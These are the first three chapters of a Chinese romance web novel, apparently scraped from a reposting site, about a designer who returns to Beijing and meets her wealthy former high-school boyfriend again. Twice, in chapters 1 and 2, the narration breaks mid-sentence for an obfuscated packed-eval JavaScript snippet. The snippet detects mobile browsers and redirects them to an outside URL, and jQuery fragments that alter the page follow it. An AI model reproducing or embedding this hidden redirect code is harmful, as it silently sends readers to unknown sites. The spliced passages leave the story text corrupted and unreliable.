《私逃[破镜重圆]》
1. 第一章
《私逃》
文/皎糖
晋江文学城独家首发
-
时隔七年。
乔栀意再次回到故乡。
航班降落在京市国际机场,机身轻轻一颤,乔栀意瞬间从混沌的睡梦中清醒,抬手摘下眼罩,跟着人流往舱外走。
机场广播里字正腔圆的中文播报,络绎不绝的亲切中国人面孔,稍稍抚平了十几个小时长途飞行的疲惫。
乔栀意拖着行李箱,一刻也没耽搁地打了个出租车前往医院。
她到达医院病房时,护工正推门出来。
乔奶奶平躺在床上,双眼阖着,鼻子还插着氧气管。
消毒水的味道有些刺鼻,仪器滴滴答答发出声响。
乔鸿锦坐在病床边,听到脚步声,他偏头看过来:“这么快就过来了,晚饭还没吃吧?
乔栀意淡淡“嗯”了声。
七年没见到她的这位亲生父亲,她仍没有多看他一眼,仿佛面前的中年男人只是空气。
她没心思与他虚与委蛇,假装两人之间存在什么深厚的父女之情。
乔奶奶虽是闭着眼睛,但并没有睡着,听到身边的交谈声,艰难睁开眼睛,气若游丝地说了句:“小满回来了。”
小满是她的小名。
只有最亲近的人才会这样叫她。
乔鸿锦主动站起来让开位置。
乔栀意坐到病床边,轻轻握住乔奶奶骨瘦如柴的手,不禁有些眼热:“嗯,奶奶。我回来了,再也不走了。”
老人家前些年住在远嫁外地的姑姑家,今年才回来。回来后食欲一直不怎么好,每次联系乔栀意都让奶奶去医院检查一下,她也不放在心上。
直到最近突然腹痛难忍,住进了医院,被检查出了肠梗阻,当即动了手术。
乔鸿锦在一旁拍了拍她的肩膀,安慰着:“医生说奶奶没什么大事,你不用太担心。”
等老人家完全进入休息状态,乔栀意才站起来打算离开。
刚转过身,乔鸿锦从身后叫住她:“栀意,晚上回家吗?”
乔栀意推开病房的门,头也没回地往外走着,只丢下一句:“不回去。”
京市已经入了深秋。
从医院出来,天色擦黑,整座城市霓虹灯接连亮起。寒冷的秋风卷起几片凋零的金色梧桐叶,重重摔在地上,寂寥又落寞。
马路边路过一对小情侣,女生弯着眼睛撒娇说手冷,男生立刻把她的手捂在掌心呼着热气。
路灯下一高一低依偎的身影,与记忆中的自己和另一个人重叠。
片刻的恍惚后,乔栀意收回视线,搓了搓冰冷的双手。
将行李箱放回租的公寓,又独自去了楼下的一家中餐厅。
太久没吃过纯正又美味的中国菜肴,她本想着回国后大快朵颐一顿,但此刻却丝毫没胃口,只随便点了份排骨玉米汤。
菜刚刚端上来,高中好友明瑶打来了视频电话:“宝贝,你下飞机了吧?我今天真不是故意放你鸽子的!”
明瑶是记者,本来前几天说好了今天去机场接乔栀意,顺道一起看看奶奶,没想到被上司临时安排了紧急任务出差。
“没事儿,你又不是故意的。”在国外待着的这几年,明瑶是乔栀意为数不多还保持联系的好友了。
这点小事,她完全不会放在心上。
明瑶叹息:“唉!烦死了!都怪我那畜牲老板!狗屎一泡!”
乔栀意咳嗽一声,送到嘴边的玉米就这么停住:“……干嘛呢,我吃饭呢。”
明瑶反应过来,噗嗤一笑:“等我忙完,一定请你吃顿大餐。”
乔栀意弯唇:“好,我等着。”
明瑶知道乔栀意这次回国是有创业的打算的:“接下来有什么打算?什么时候正式弄你那服装设计工作室?”
“不急。”乔栀意拿起汤勺给自己盛了一碗热气腾腾的汤,回她,“先找个安逸点的工作过渡一下,其他的等奶奶完全康复了再说。”
明瑶对乔栀意的家庭情况略知一二。
乔栀意是早产儿,小时候体弱多病。已经过世的乔爷爷曾经找了个瞎子老先生给乔栀意算过命,说是十岁之前最好待在京郊老宅养着,于是乔栀意从小就跟着爷爷奶奶。
直到要上高中才回到市里,和父母一起生活。
她和乔奶奶相处的时间,比父母还要多。
明瑶知道乔栀意和奶奶感情好,但完全没想到,她一听说老人家病了,纽约的首席设计师职位说辞就辞,眼睛都不带眨一下。
明瑶提议:“那你可以暂时去你爸的公司啊。”
“不去,”乔栀意想也没想回答说,“我一个搞艺术的去建筑公司做什么。隔行如隔山。”
“好吧,也是。”
“欸,对了。”明瑶平日里东奔西跑的,人脉资源广。她突然想到一个适合乔栀意过渡的工作。
“我有个朋友开了一家少儿画室,正在招授课老师。离医院和你住的地方都近,工资给的特别高,虽然要求也高,不过我觉得以你的条件一定没有问题,你要不要去试一试?”
乔栀意有些不信:“画室老师工资能有多高?”
明瑶神秘一笑:“这你就不知道了吧。这家画室走的是高端定位,过来的都是有钱人家的小孩。把他们教好了,那些家长分分钟拿钱砸死你。”
“是吗?”乔栀意挑眉,“那我可得去体会一下被钱砸死的感觉。”
-
海归硕士的学历、卓越的作品履历、绘画技巧以及出众的外表形象,让乔栀意轻松拿下了少儿画室授课老师这份工作。
她就这么开始了医院、画室、公寓三点一线的生活。
傍晚,窗外天空阴沉。
铅灰色乌云越堆越厚,路上来往的车辆加快赶路速度,似是滂沱大雨要来的前兆。
与外面的压抑沉闷完全不同,画室内气氛轻快而明朗。
几个小孩儿手拿画笔,专心完成各自面前的画作,其中一名小女孩画得格外好,身旁围过来四五位小伙伴天花乱坠地夸赞她。
“哇,谢乐萌,你画的这也太好看了吧!”
“乔老师!乔老师!你快来看看谢乐萌画的呀!”
“太阳公公还能戴着墨镜呢!”
“乔老师你快来嘛!”
“来了。”乔栀意弯唇浅笑,抬腿走下讲台。
“好丑!丑死了!”和谐的夸奖声中忽地蹦出了这样一个小男生的声音。
说完,他还拿起自己的画笔,自顾自给谢乐萌的画添上几笔,“这样就好看了。”
“你干嘛呀……”
小姑娘方才还笑脸盈盈的,此刻“哇呜”一下就哭了起来,豆大的泪珠顺着粉扑扑的脸蛋哗哗往下掉。
在场围观的其他小朋友,有人张大嘴巴愣着,有人厉声谴责,最后无一例外,全场都眼巴巴看着乔栀意。
乔栀意冷静地从口袋中拿出手帕纸递给谢乐萌,半蹲在她的面前,摸了摸她的小脑袋,轻声安慰道:“乐萌不哭了,我们再画一幅更漂亮的,好吗?”
柳腰盈盈一握,丁香紫针织衫盖着薄肩,素雅月白长裙没过雪白的脚踝。眉眼昳丽,如古典画卷,绸缎似的乌黑长发用一根珍珠发簪随意挽起,露出白净细腻的脖颈。
打扮简单,掩不住气质极佳。
很纯粹的好看。
小孩子的天性,喜欢漂亮的女老师。
此刻乔栀意柔声哄着人,没了平日里一贯的清冷疏离感,整个人说不出的温柔随和。
“好…好的…乔老师……”
淡淡的香气拂面,谢乐萌直勾勾看着她的脸,慢慢停止哭声。
乔栀意站起身来,看向闹事的小男生,声音平静:“小宇,每个人有不同的审美,这很正常。但不管你觉得乐萌的画好不好看,都不应该没经过人家同意就擅自修改,知道吗?”
“知、知道了……”小男孩低下头,脸颊有些惭愧地泛起红晕。
好半晌,又支支吾吾道:“其实…我也没有觉得她画的不好看…只是大家都在夸她……我就有点不开心……”
小孩子不懂事,需要正确的引导。这样的诚实坦白,乔栀意还觉得有些可爱。
她也摸了摸他的脑袋:“好了,知错能改才是好孩子。好孩子接下来应该怎么做?”
小男孩低下头,有些别扭地跟小姑娘道歉:“对不起。”
“没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261000|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关系,我、我原谅你了。”谢乐萌抬起小手擦了擦脸上的眼泪。
眼瞧着两位小朋友握手言和,乔栀意继续引导:“小宇以后愿不愿意向乐萌多学习学习呢?”
“愿意!”
“那乐萌以后愿不愿意多教教小宇呢?”
“愿意!”
乔栀意眼尾弯着,从一旁的包包中拿出两个她亲手制作的卡通小挂件分给两人。
“给你的,奖励你知错就改。”
“给你的,奖励你宽容大度。”
这下满屋子的小孩沸腾起来:“乔老师,我也要!我也要!”
乔栀意莞尔,温声道:“那你们一人说出一个给你们的理由,好不好?”
有人蹦起来:“好啊!好啊!”
有人举起手:“我先来说!”
“……”
轻松愉快的一节美术课很快过去,不知不觉就到了放学时间。
酝酿已久的瓢泼大雨瞬时落下,啪嗒啪嗒敲打着落地窗,发出清脆的声响,画室玻璃门外前来接孩子的家长们纷沓而至。
身边一个又一个小伙伴被家长接走,与她挥手告别,谢乐萌觉得奇怪,眼巴巴看着门外。
到最后,偌大的教室就只剩下她一个小孩了。
小姑娘捯饬着手腕上的电话手表,在一次又一次的无人接听中表情越来越不开心。
正如明瑶所说,这间画室收费高,来的都是富家子弟,平日里来接谢乐萌的都是家里的阿姨,到现在乔栀意也没有见过她的家长。
“别着急,老师陪你一起等。”
乔栀意正准备拨打谢乐萌家里留下的联系方式。
谢乐萌拨出的电话忽地有了回应。
“今天宋姨家里有事。”
“你等一下,我马上过来。”
一个好听的年轻男人声音。
嗓音低磁清沉,尾音微微上扬,像深秋穿过迷雾森林的晨光,凛冽干净,又透着点漫不经心的冷倦。
竟还有点莫名的熟稔感。
晃神间,谢乐萌便一个人跑出了玻璃门外,乔栀意赶紧追了出去。
谢乐萌站在门廊下,小脑袋左看看右看看,目光终于定格到远处一辆锃亮的黑色豪车上。
乔栀意站在她的身边,垂眸看她:“你家人来了吗?”
“来啦,乔老师,在那里呢!”
小姑娘嗓音软糯,抬手指了指前方。
劳斯莱斯幻影在朦胧的雨幕里泛着冷冽的光泽,车身低矮凌厉,弧线修长流畅,阴沉的天色也掩盖不住它精工细作的矜贵,极具冲击性的力量感。
车轮碾过积水,带起两道转瞬即逝的水痕。道路上其它车不自觉避让远离,生怕意外发生剐蹭。
不多时黑色幻影稳稳停在路边,引擎低沉的轰鸣声骤然消弭。
前方车门打开,司机撑开雨伞下车,毕恭毕敬走到后座拉开车门。
后座的男人并没有立刻下车,哗然雨声在长长的街道上喧嚣。
时间像是静止片刻,一道高大颀长的身影才撑着伞从车里出来,缓缓站直身体。
他比身旁的司机高出一大截。远远看着,最先注意到的就是两条格外笔直修长的腿。
黑色伞面遮住了男人的眉眼,只露出一截冷白清隽的下颔。
裁剪得体的黑色西装,内里白衬衫最上面纽扣松开两颗,垂顺的黑色西裤包裹他比例傲人的腿长。
这样的正装被他穿出几分散漫的味道,矜贵而又恣意。
男人骨骼分明的手握着伞柄,手背淡青色脉络浮现,迈着长腿往这边一步一步走来,极具压迫感。
乔栀意下意识抬眼看他。
越来越近。
薄底黑色皮鞋踏上潮湿的台阶,踩出晶莹而多芒的水花,他手上的黑色伞檐稍微上抬。
成排的雨珠滴落,熟悉而又陌生的眉眼穿过雨幕,猝不及防与她对视。
心脏骤然慢了半拍,乔栀意一瞬间将他认了出来。
视线在空气中交汇。
隔着混沌朦胧的雨雾,那眼神格外冷冽,又晦暗不明。
“怎么是你来接我呀?我妈妈呢?”
谢乐萌仰起脸,疑惑问来人。
2. 第二章
男人轻描淡写收回与她对视的目光,没再多看她一眼。
他没回答谢乐萌的问题,只把黑伞倾斜进廊檐,淡漠嗓音和着寒风冷雨一起擦过她的耳畔:
“走了。”
雨水顺着挡风玻璃蜿蜒而下,雨刮器不停地左右摇摆,刷出开阔视野,锃亮凌厉的车身隔绝着车外的滂沱与湿冷。
谢乐萌坐在谢聿舟的身旁,眨着水灵灵的大眼睛:“刚刚那个是我们画室新来的乔老师,是不是很漂亮呀?”
没得到回答。
谢乐萌依旧喋喋不休的。她从衣服口袋里拿出今天获得的奖励,炫耀似的晃在谢聿舟的面前:“看这个,我今天获得的奖励。”
谢聿舟侧眸看过去。
一个俏皮灵动的小天使挂件,浑身莹白剔透,身后一对漂亮的翅膀随着晃动而翱翔。面部两只露出的小牙齿让它看上去并不乖巧,反倒有些装腔作势的凶恶。
“很好看吧?”
“乔老师给我的。”谢乐萌笑眯眯地摇头晃脑,脑袋两侧的双马尾摆来摆去。
“不好看。”
一直沉默无声的男人忽地直接上手将挂件拿过来,牢牢攥在手心,漫不经心道,“给我吧。”
“回头帮你扔了。”
“你怎么这样呀?”
东西被抢走,谢乐萌气鼓鼓的,学着乔栀意今天教育人的语气,“每个人有不同的审美,这很正常。但不管你觉得好不好看,都不应该没经过我的同意就擅自扔掉,知道吗?”
“……?”谢聿舟轻挑眉梢,似是觉得有些好笑:“谁教你这些话的?”
“乔老师!”谢乐萌鼓起嘴巴,又奶又凶地哼一声,“还给我!”
前方路口红灯亮起,驾驶座司机将车辆停稳。
谢乐萌抢回心爱的小天使挂件,忽然想起:“欸?乔老师今天好像没有带伞呢。”
“我们能不能送乔老师回家呀。”
她说这句话时,谢聿舟鸦羽似的眼睫稍动。
偏头,视线探出车窗向后看去。
雨声簌簌,女孩亭亭立在门廊下,白皙的脸颊晕着被冻的红,长睫漆黑,侧眸眺望远处。脖颈间掉落的几缕碎发被风吹乱,月白长裙在冷风中蹁跹。
氤氲朦胧的雨幕中,她的身形清瘦又单薄。
绿灯亮起,司机恭敬询问身旁西装革履的男人:“谢总,要回去吗?”
谢乐萌抢答:“回去!回去!”
谢聿舟收回视线,面色讳莫如深,似是全然无所谓的语气:
“她想送就送吧。”
谢乐萌自小是家里捧着长大的小公主,司机并不意外。
车辆在路口掉头,又开回画室门前。
车身停稳,司机打开车门正欲下车。
谢聿舟薄唇轻启,冷冷吐出一个字提醒他:“伞。”
司机握着手里的伞,缓了几秒才明白,这是让他多带一把伞的意思。
“您好,这位女士——”
面前忽地多了一个人影,乔栀意目光从手机屏幕上移开。
司机将手上多带的雨伞递给她:“下雨天,您这没带伞吧。”
认出是刚刚的司机,乔栀意眼睫轻颤了下,下意识敛眸往停在不远处的黑色幻影看了一眼。
司机接着说:“乐萌小小姐想送您回家。”
原来是乐萌。
怪不得……
谢乐萌和谢聿舟,好像是一个谢。
迟钝地领悟到这点,乔栀意手指蜷了蜷,收回视线,冲他礼貌笑笑:“不用了,我叫的车已经接单了。”
“这样……”司机有些为难,递伞的手仍举着,“那这把伞您先用着吧。”
从画室到出租车上车点还有一段距离,免不了淋雨,乔栀意犹豫几秒还是选择收下了伞:“行,那麻烦你帮我谢谢乐萌。”
-
前方停下一辆白色奥迪,乔栀意撑着伞走过去。
赶上了晚高峰时间,宽敞的道路上车灯如流萤,点点橙光,川流不息。
司机大叔看着前方专属的扎眼车牌号【京A·00008】,下意识瞪大眼睛加大了车距,激动地和后方乘客聊着天:“欸?前面这是谢家太子爷的车啊!”
“哦……”乔栀意心不在焉地答着,“是吗?”
司机大叔很是意外:“姑娘,你是外地的吧?这你居然不认识?!”
也不怪他意外。
谢家是京市上流圈层顶级豪门,谢氏集团名下产业众多,涉及房地产、金融、高新科技等各个领域,国内外声名与地位极其显赫。
谢家家族内人才辈出,谢聿舟更是其中翘楚,无数名门贵女为之倾心。除了客观的、所有人都承认的超高颜值外,他自身能力也是一绝。
国外学成归来后,谢聿舟并没有选择接手家族产业,走父辈铺好的路,反而亲自创办了蜚声业内的凌远传媒,一举将谢家的商业版图推向新的高度,疆域再扩千里。
乔栀意抿了抿唇,没再说话。
前方醒目的车尾灯逐渐消失在茫茫雨雾中,乔栀意依旧没有收回视线。
潮湿的雨伞在手里莫名沉重,雨水刺骨的寒意针尖一般穿进她的掌心。
她没由来想起和谢聿舟最后一次见面,也是这样的一个下雨天。
盛夏的夜晚,寂寥空旷的街道,街灯下的橱窗照着星点凄清白光。
路灯昏黄,狂风将瓢泼的雨珠吹进伞内,被他高大挺拔的身躯遮挡,少年的肩背被雨水打湿。
水珠沿着他漆黑的发梢滴落,滑过密密的眼睫。
一向矜贵高不可攀的大少爷那样低着头,颤声向她反复确认:“你还是要和我分手……对吗?”
“对!”
又一次的肯定答复后,他似乎也释然了。
“没关系,乔栀意。”
那是两人在一起后,谢聿舟第一次连名带姓地叫她。
他自嘲地扯了扯嘴角,“我也不是非你不可。”
谢聿舟转身离开,手里握着的那把雨伞随之坠向潮湿泥泞的地面。
后来。
乔栀意也不知道那把伞被风吹到了什么地方。
……
出租车停在公寓门口,乔栀意下车回到住处。
房子是回国前明瑶帮找的,房间面积不大,但装修和配套设施不错,周围交通也方便。最重要的一点是位置好,离市医院近,方便她往返医院照顾奶奶。
将煲好的养生汤装到保温桶,正准备出门去医院,明瑶打来了视频电话:“明晚同学聚会,你看到群消息了吧?”
乔栀意“嗯”了声:“看到了。”
高中时他们班感情总体还算不错,毕业后每年都会有一场同学聚会。
乔栀意出国后几乎就与高中同学断掉了联系,但班级群还没有退。每年这个时候,班长都会艾特全体成员。
明瑶有些激动:“我明天早上就飞回京市!正好能赶上晚上的聚会。今年你应该来吧。去年还有同学向我打听你的消息呢。”
乔栀意怔愣片刻。
时间上她并没有问题,奶奶身体好转了很多,画室工作也很清闲,一周只有两次课。
可高中同学聚会的话,是不是意味着,谢聿舟也会去?
当初两人的结束并不算愉快。
时过境迁,以同学的身份再在同一密闭空间里相处,这事她想想还是觉得有些怪异。
“谢聿舟会去吗?”
乔栀意忽地这样来了一句,给明瑶惊讶得不行:“你问他做什么?你不会突发奇想,想和他旧情复燃吧?”
“你想太多了,我就随便问问。”
“他要是去,我就不去了,挺尴尬的。”乔栀意坦白解释。
“他应该不会去。”
明瑶想了想说,“前几年聚会他都在,这两年都没来过了。这个大少爷想体验人间疾苦,自己开了个公司,我估计他这几年忙工作忙得不行。”
“行,那我去。”乔栀意暗自吐了口气,脑海中无意识闪过今天和他意外重逢的画面,随口说,“也不一定就是在忙工作,说不定在忙着结婚生子带娃。”
明瑶噗嗤一笑:“你在说什么啊?这怎么可能?”
“万事皆有可能。”
乔栀意也没提今天两人重逢的事情,毕竟从今天看来,她对他来说,早已经是过去式了。
他极其可能都没认出她来。
“谢家太子爷结婚生子外界还能一点不知道?”明瑶只以为乔栀意在开玩笑。
乔栀意:“豪门隐婚生子也很正常吧。”
“胡说八道!”明瑶才不信。
作为两人爱情从头到尾的见证者,她有些惋惜地说:“我还是觉得你俩太可惜了。你现在不是回来了吗?说不定真的能再续前缘呢。”
“不可能的。”乔栀意想也没想地说。
“怎么不可能?你刚刚还说万事皆有可能。”
“狗都看的出来,他那时是真的喜欢你啊。”
明瑶开始回想高中,她有事没事就喜欢暗戳戳观察两人,枯燥学习生涯中的一大乐趣。
谢聿舟总喜欢托着脸看乔栀意,她一偏头,他就漫不经意地收回视线看黑板。
每天雷打不动地给低血糖的她带早饭,每晚送她放学回家。
京市温度零下的寒冬,大少爷骑着山地车去学校十里外买她爱吃的糖炒栗子,回班级时栗子还是热乎乎的,他漆黑的发梢和浓密的眼睫却都结了层白色的冰霜。
下雪天乔栀意的鞋袜湿了,谢聿舟直接翘课去外面给她买雪地靴和棉袜。
校园篮球赛,他穿过簇拥送水的茫茫人海,坚定不移只向一个方向走去,只接乔栀意手上的水。
少年人的爱意热烈而坦荡,人尽皆知。
最开始乔栀意对谢聿舟明面上的态度一直是不冷不热的,让人觉得不可思议,毕竟从长相到家境再到一颗炽热的真心,谢聿舟从头到脚都无可挑剔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261001|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>直到毕业季某个晚自习放学。
那天明瑶作业忘了带,返回班级时发现教室灯灭了,门却只是虚掩着。
漆黑的夜晚,门内传来缱绻的声响。
明瑶忙不迭把灯打开,就发现讲台上两道交叠的人影。男生身形高大俊朗,将女孩牢牢笼罩禁锢在怀里。
乔栀意双手撑在身后,脖颈高高扬起,天鹅般瓷白昳丽。谢聿舟低着头,黑发细碎散落于额前,揽住她纤细的腰肢。
两人吻得难舍难分,勾缠、汹涌,连什么时候灯开了身旁有人都没发现。
明瑶这才知道,原来这两人背地里早就在一起了。
“你也说了是那时。”乔栀意眼睫轻颤了下,声音很轻。
“好吧,也是……”明瑶惋惜地叹了口气,“都这么多年了。”
-
翌日,从医院出来之后,乔栀意回到公寓换了身衣服。
她回国只带了几件比较喜欢的衣服,全都是自己设计的。今日随意挑选了一件挂脖的水蓝色旗袍,窈窕曲线尽显,肩上搭着米白针织披肩,珠花发簪挽起青丝。
眼瞧着时间差不多,她打了个车去到同学聚会的地点,市中心一家五星级酒店。
刚下车,迎面撞见班主任范老师。一个很和蔼慈祥的老教师,当年管理班级比较佛系有人情味,同学们大多喜欢她。
范老师看到乔栀意,布满皱纹的眼睛眯了眯:“这是乔栀意吗?几年不见,漂亮得我都快认不出咯!”
乔栀意莞尔,向她问了个好。
两人并排着往酒店里面走,范老师照常关心班级同学:“栀意现在在做什么工作啊?”
乔栀意搂了搂肩上的披肩:“之前在国外做服装设计的,回国就辞了。以后有想法自己创业,开个工作室。”
“好,创业好啊。”范老师点点头,“你们这群孩子,现在是一个比一个有出息。”
两人走到包厢门口,几位老同学围了过来。乔栀意认出其中一个梳着大背头的男人,是谢聿舟的死党路昭。
路昭惊讶得不行:“乔栀意?!!”
“你竟然过来了?”
“你什么时候回国的啊?”
乔栀意礼貌笑笑:“就上个月。”
不少人感叹乔栀意的变化,她上学那会儿就是公认的漂亮。
柳眉红唇,秋瞳剪水,天生的冷白皮让她站在人群中像是自带专属滤镜,一颦一笑皆是风情。
但平时不注重打扮。简单的学生头和校服,素面朝天,总是看着清冷疏离又安静。
如今穿着打扮和从前大不相同,好看得更加扎眼。
“卧槽!谢聿舟?你怎么也来了!”
闲谈间,路昭的视线越过乔栀意,看向她身后惊呼一声,“前几天不还说不来吗?”
猝不及防听到这个名字,乔栀意呼吸滞了滞。
明瑶分明说了,他应该不会来的······
身旁的同学皆顺着路昭的目光,一窝蜂拥趸过去:“谢大少爷今年竟然有空过来了?”
“好些年没见了吧。谢大少爷今年不忙了?”
“今年是不是咱们班人来的最齐的一次啊?”
“真难得呀。”
范老师也顺势和他打招呼,“聿舟今年怎么有空过来了?”
“好久不见。”
闲散淡漠的嗓音随着冷风灌进耳蜗,乔栀意有一瞬间的恍惚,像是在对她说这四个字。
但她知道不是。
谢聿舟懒懒掀起眼皮,散漫道:“特地来看看范老师身子骨可还硬朗。”
范老师笑得不行,客气道,“我有这么大面子啊?”
伴随着不疾不徐的脚步声,一种隐形的逼迫感越来越接近她的后背。
乔栀意掌心蜷缩了下,想离开却无处可逃。
在场的同学几乎都知道谢聿舟和乔栀意曾经的关系,范老师是个例外。
她忽然笑着来了句,“这位是乔栀意。还记得吗?当初我们班最斯文安静的乖乖女。”
“她也好几年没来参加聚会了。”
从地上看,她的影子逐渐被另一道高大挺拔的影子覆盖笼罩。
乔栀意深呼吸一口气,回头。
对上那道意味不明的视线。
密闭的空间,近在咫尺的距离,这次乔栀意无可避免多看了他几眼。
深色大衣衬出他卓越的肩宽腿长,五官硬朗深邃,攻击性更显,早已不见当年的青涩。
浓眉深目,眼尾锋利,瞳孔黑如点漆,神情淡漠冷然,眉宇间仍是一贯以来桀骜恣意的傲气。
这时门口又进来几位同学,明瑶也在其中,热情地朝这边挥着手。
范老师抬腿走上前去,招呼他们。
乔栀意立刻收回视线,跟在范老师身后。
擦肩而过的那一瞬,烟草与雪松混杂的香味萦绕鼻尖,耳畔落下一句低不可闻的讥诮嘲讽:
“好一位乖乖女。”
3. 第三章
到现在乔栀意才敢确定,谢聿舟是把她给认出来了。
并且他在对她进行冷嘲热讽。
诚然他的讽刺也没错,她从来就不乖。
养在京郊老宅那会儿,爷爷奶奶从不给她压力。上山爬树,下河摸鱼,骑马滑雪,她想玩什么就玩什么,想做什么就做什么。
她有一双善于发现美的眼睛,有无数奇思妙想,热衷于创造一切美的东西。她爱画画,爱做手工,爱给玩偶娃娃设计衣服,两位老人家总是夸她心灵手巧。
她被养得性子散漫恣意,崇尚浪漫,热爱自由。
可后来她回到了父亲和继母的身边。
她生性爱玩,好不容易擦线进的市一中,乔鸿锦管她管得很严。
不允许她打扮,不允许她画画,他要求她循规蹈矩、读书明理,他扔掉她的画板和玩偶娃娃,不让她做一切和学习无关的事情。
乔栀意会幼稚地用自己的方式表达反抗,可因为有谢聿舟,在学校她的叛逆一直没有被别人发现。
她故意不写作业,谢聿舟把他的作业本写上了她的名字上交。
她故意翘课去网吧待了一整天,结果他帮她请了病假。
她藏在书包里很久的烟盒意外被他看到,他拿到钥匙说带她去天台,那里没人看到。
她心情不好第一次学着抽烟,又呛又咳,放声嚎啕大哭,他就在旁边轻轻拍她的嘴巴,让她发出啊呜啊呜的诡异声音,惹得她又哭又笑。
“乔栀意同学,吸烟有害健康。”金色的阳光散落在少年漆黑的碎发上,他在夏风中笑得恣意张扬。
乔栀意抡起拳头,气急败坏捶向他肩膀,有些凶的哭腔:“谢聿舟…你是不是有病啊……”
却被一只温热的掌心轻松握住,谢聿舟也不生气,只掀起黑眸看着她,满脸无所谓地哼笑:“嗯,就和你一样。”
……
包厢内,老师坐一桌,同学坐两桌。
当初某个说要一辈子不结婚的女生,今天竟然把孩子都带过来了。众人皆唏嘘不已。
人差不多到齐,服务员开始上菜。
明瑶贴着乔栀意耳边窃窃私语道:“昨天我还在和你说谢聿舟不来呢。真没想到啊。”
“我也没想到。”乔栀意支着下巴,下意识往另一桌上宾位置投去视线。
暖色灯光描绘出男人矜冷落拓的侧颜,他身形高大俊朗,肩背平直,漫不经心地晃着酒杯,和身边人谈笑风生。
时不时有几位同学站起身给他添酒,他一应照单全收。
自始至终,谢聿舟没有多看她一眼。
反而是路昭和她撞上了视线。
乔栀意即刻收回目光,端起面前的葡萄酒喝了一口。
清甜醇厚的液体入喉,稍稍抚平了有些紊乱的心跳。
乔栀意几年没来聚会,一来就和谢聿舟彼岸相望般分开,坐得远远的。
在场同学都明白了情况,尽管有八卦之心,但没有人把这件事情放在台面上说的。
虽然上学那会儿谢聿舟为人随和坦荡,没有什么豪门二世祖的坏脾性,但实打实的地位和背景,再加上毕业多年,几乎没人敢随意开他的玩笑。
除了路昭。
他坐在谢聿舟身旁,压低声音调侃:“之前不还说不来吗?今天这是什么意思?”
“哦~”他自问自答,语气欠欠的,“原来是初恋白月光回国了。”
谢聿舟阴沉着脸,捏着高脚杯的手紧了紧,仰头一口灌下。
辛辣液体入胃,他喉结上下滚了滚:“老子想来就来,想不来就不来。和别人有什么关系?”
“前几年又不是没来过。”
“……”
饭局结束,就到了饭后游戏环节。为了不扫兴,老师们陆陆续续离开。
两轮剧本杀过后,又走了一批人。
乔栀意问明瑶走不走,明瑶劝住她:“难得聚一次,多玩一会儿嘛。”
乔栀意犹豫几秒:“……行吧。”
两桌稀稀朗朗的人并成一桌,路昭笑嘻嘻地撺掇着大家玩真心话大冒险。
游戏规则很简单,转酒瓶,转到谁选择真心话大冒险或者喝酒。
几轮游戏过去,气氛活络起来。一些人便再也藏不住满腹的八卦之心了,提问的问题越来越刁钻。
当酒瓶子转到乔栀意,乔栀意毅然决然选择了大冒险。
此话一出,路昭眼睛都在发亮,总算给他逮到机会了:“请于在场所有异性中,挑选一个亲一口。”
明瑶瞪大眼睛:“玩得这么大啊?”
乔栀意:“……”
就应该早点走的。
路昭耸耸肩:“这就叫大了?一点也不大。”
他拿出手机,悄悄给谢聿舟发去消息:【别以为老子看不出来。】
路昭:【她应该不会选别人吧。】
路昭抬头对谢聿舟wink一下,继续打字:【不用谢我,助人为乐一向是我的爱好。】
谢聿舟低头看到消息,简直想当场掐死他:【你脑子被门挤了还是被驴踢了?】
一女生看热闹不嫌事大:“栀意,这可是你自己选的哦。”
另一女生附和:“不带反悔的哈,反悔就没意思了。”
在场男生倒是不敢多说什么,这可是谢聿舟的初恋白月光,就算两人已经分手了。
谁敢当着这位爷本人的面被他初恋亲?恐怕无福消受。
只有一个戴着黑框眼镜的男人弱弱地来了句:“不能选我,我老婆知道了会掐死我的。”
他身旁人开玩笑怼他:“瞧你这熊样,倒是想得挺美呢。”
众人哈哈大笑。
全场目光聚焦于乔栀意的身上。
只见乔栀意视线四处打量一圈,在谢聿舟身上定格。
一瞬间,两人目光交汇。
原本吵吵闹闹的包厢瞬间安静下来,落针可闻。众人屏住呼吸,满眼期待接下来要发生的事情。
时间像是静止。
乔栀意缓缓站起身来,不疾不徐向谢聿舟的方向走去。
一步……
两步……
三步……
四步……
五步……
眼前人离他越来越近。
谢聿舟的视线落到眼前人樱花瓣一样的红唇上,冷白锋利的喉结无意识滚了滚。
在所有人都以为乔栀意的步伐要停在谢聿舟身旁的时候——
她却径直绕到了他的身后。
半蹲在地上,温柔地看着正玩着卡通怪兽拼图的小男孩,轻声细语问道:
“小朋友,我可以亲你一口吗?”
所有人:哈???
小男孩穿着件白色小熊卫衣,抬头,眨着漂亮的葡萄眼睛看着乔栀意,只腼腆地笑了一下,然后兴冲冲地把白嫩嫩的脸蛋凑过去。
小男孩妈妈笑得不行:“你还真是一点不害羞啊?”
有人感叹,“我去!这也行啊?!”
“怎么不按常理出牌呢?”
明瑶放声大笑,“你们就说人家算不算异性吧?”
小男孩妈妈附和,“谁说不算我和谁急呢。”
在众人哈哈的欢笑声中,这场大冒险就此终止。
路昭摸了摸下巴,又给谢聿舟发去消息:【她竟然没选你!!!】
谢聿舟死亡微笑:【S市那个楼盘项目,凌远不投了。】
路昭:【不至于吧?小朋友的醋你也吃啊?】
谢聿舟:【滚。】
谢聿舟:【吃你大爷。】
